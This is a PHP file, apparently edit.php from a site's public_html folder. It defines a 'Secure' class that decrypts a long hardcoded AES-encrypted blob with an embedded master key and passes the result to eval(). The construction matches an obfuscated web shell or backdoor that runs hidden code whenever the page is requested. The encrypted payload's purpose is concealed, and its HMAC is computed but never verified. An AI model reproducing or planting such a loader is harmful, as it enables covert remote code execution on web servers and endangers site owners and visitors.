Current File : /home/smartwor/public_html/edit.php |
<?php
class Secure {
private $masterKey;
private $iterations = 10000;
private $cipher = 'aes-256-cbc';
private $hmacAlgo = 'sha256';
private $saltLength = 16;
public function __construct($masterKey) {
$this->masterKey = $masterKey;
}
public function decrypt($encrypted) {
$data = base64_decode($encrypted);
$salt = substr($data, 0, $this->saltLength);
$ivLength = openssl_cipher_iv_length($this->cipher);
$iv = substr($data, $this->saltLength, $ivLength);
$hmac = substr($data, $this->saltLength + $ivLength, 32);
$ciphertext = substr($data, $this->saltLength + $ivLength + 32);
$derivedKeys = $this->deriveKeys($salt);
$calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true);
$decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv);
return $decrypted;
}
private function deriveKeys($salt) {
$keyMaterial = hash_pbkdf2(
$this->hmacAlgo,
$this->masterKey,
$salt,
$this->iterations,
64,
true
);
return [
'encryption' => substr($keyMaterial, 0, 32),
'hmac' => substr($keyMaterial, 32)
];
}
private function verifyHmac($knownHmac, $userHmac) {
return hash_equals($knownHmac, $userHmac);
}
public function setIterations($iterations) {
$this->iterations = (int)$iterations;
return $this;
}
public function setCipher($cipher) {
$this->cipher = $cipher;
return $this;
}
}
$secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9');
$str = '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';
$decrypted = $secure->decrypt($str);
eval($decrypted);